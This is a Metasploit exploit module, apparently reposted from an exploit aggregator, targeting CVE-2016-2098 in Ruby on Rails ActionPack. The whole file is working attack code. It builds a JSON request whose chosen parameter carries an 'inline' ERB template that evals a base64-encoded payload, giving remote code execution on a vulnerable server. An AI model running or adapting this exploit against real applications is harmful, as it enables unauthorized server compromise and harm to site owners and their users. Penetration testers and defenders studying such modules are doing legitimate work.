Exploit for Ruby On Rails ActionPack Inline ERB Code Execution

## https://sploitus.com/exploit?id=PACKETSTORM:137834
##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ruby on Rails ActionPack Inline ERB Code Execution',  
'Description' => %q{  
This module exploits a remote code execution vulnerability in the  
inline request processor of the Ruby on Rails ActionPack component.  
This vulnerability allows an attacker to process ERB to the inline  
JSON processor, which is then rendered, permitting full RCE within  
the runtime, without logging an error condition.  
},  
'Author' =>  
[  
'RageLtMan <rageltman[at]sempervictus>'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2016-2098' ]  
],  
'Platform' => 'ruby',  
'Arch' => ARCH_RUBY,  
'Privileged' => false,  
'Targets' => [ ['Automatic', {} ] ],  
'DisclosureDate' => 'Mar 1 2016',  
'DefaultOptions' => {  
"PrependFork" => true  
},  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),  
OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])  
], self.class)  
  
end  
  
def json_request  
code = Rex::Text.encode_base64(payload.encoded)  
return {  
datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}  
}.to_json  
end  
  
def exploit  
print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET',  
'ctype' => 'application/json',  
'headers' => {  
'Accept' => 'application/json'  
},  
'data' => json_request  
}, 25)  
end  
end